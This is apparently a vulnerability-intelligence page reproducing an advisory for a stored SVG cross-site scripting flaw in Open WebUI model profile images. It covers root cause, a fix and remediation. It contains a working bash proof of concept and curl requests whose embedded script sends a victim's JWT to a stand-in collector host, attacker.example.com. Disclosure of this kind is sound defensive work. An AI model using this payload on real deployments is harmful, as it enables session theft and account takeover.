Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Network-reachable HTTP API (AV:N), no special conditions (AC:L), requires a default-granted low-priv account (PR:L), victim must open image as top-level document (UI:R), JWT theft crosses to browser origin (S:C, C:H, I:L, A:N).
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
---
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
---
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
- GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
description: Optional[str] = None
capabilities: Optional[dict] = None
model_config = ConfigDict(extra='allow')No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
header, base64_data = profile_image_url.split(',', 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'}
# ...
return StreamingResponse(
image_buffer,
media_type=media_type,
headers=headers,
)No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
# <-- ABSENT in models.py
return FileResponse(f'{STATIC_DIR}/user.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
# <-- ABSENT in models.py
},
)The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |
|---|---|---|---|---|
GET /users/{id}/profile/image | YES | YES | YES | Patched |
GET /webhooks/{id}/profile/image | YES | no | no | Partially patched |
GET /models/model/profile/image | NO | NO | NO | Vulnerable |
Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
POST /api/v1/models/create(line 195) any user withworkspace.modelspermissionPOST /api/v1/models/update(line 581) model owner or adminPOST /api/v1/models/import(line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
\"description\": \"Latest GPT-4 Turbo model\"
},
\"params\": {},
\"access_grants\": []
}"Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-previewThis happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal"
# attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
</script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"Expected server response at Step 3 (the proof - SVG served inline, no defenses):
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in <img src=...> context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document - e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to UserUpdateForm and UpdateProfileForm. When GHSA-3856-3vxq-m6fc was fixed, it was added to ChannelWebhookForm. But ModelMeta which uses the same profile_image_url field with the same serving logic was never touched. The output-side defenses (MIME allowlist + nosniff) were also only added to users.py, not to models.py or channels.py.
Recommended Fix
Input side add the validator to ModelMeta:
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
# ...
@field_validator('profile_image_url', mode='before')
@classmethod
def check_profile_image_url(cls, v):
if v is None:
return v
return validate_profile_image_url(v)Output side add MIME check and nosniff to the serving endpoint:
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
return FileResponse(f'{STATIC_DIR}/favicon.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
},
)Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
AnalysisAI
Stored cross-site scripting in Open WebUI versions up to and including 0.9.5 allows any authenticated user holding the default workspace.models permission to embed an SVG payload in a model's profile_image_url and hijack the session of anyone who opens that image URL as a top-level document. The flaw is an incomplete-patch bypass of GHSA-3wgj-c2hg-vm6q and GHSA-3856-3vxq-m6fc - the input validator and the MIME allowlist plus X-Content-Type-Options:nosniff added to the user and webhook endpoints were never applied to ModelMeta or the model image serving endpoint. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must (1) hold an authenticated Open WebUI account with the workspace.models permission, which is enabled by default for all non-pending users and is therefore typically present; (2) reach POST /api/v1/models/create, /api/v1/models/update, or /api/v1/models/import to store a data:image/svg+xml;base64,... … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 3.1 base score is 7.6 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N) - network-reachable, low complexity, requires low privileges (workspace.models, which is granted by default to every non-pending user in a standard deployment), and requires one user click to open the image as a top-level document. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with an ordinary Open WebUI account POSTs to /api/v1/models/create with a meta.profile_image_url set to data:image/svg+xml;base64,<payload> where the SVG contains a <script> that exfiltrates localStorage.getItem('token') to an attacker-controlled collector - the exact bash PoC is published in the GHSA advisory. The attacker then drops the URL /api/v1/models/model/profile/image?id=<modelid> into a shared channel; when a victim (including an admin) opens it in a new tab, the SVG renders as a top-level document on the Open WebUI origin, the script runs, and the stolen JWT is replayed against the API for password reset, admin promotion, and data exfiltration. |
| Remediation | Upgrade Open WebUI to version 0.9.6 or later, which is the vendor-released patch identified in GHSA-v2qm-5wxj-qhj7 (https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Open WebUI deployments and their versions; document users with workspace.models permission; review recent model image uploads for suspicious content. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38529
GHSA-v2qm-5wxj-qhj7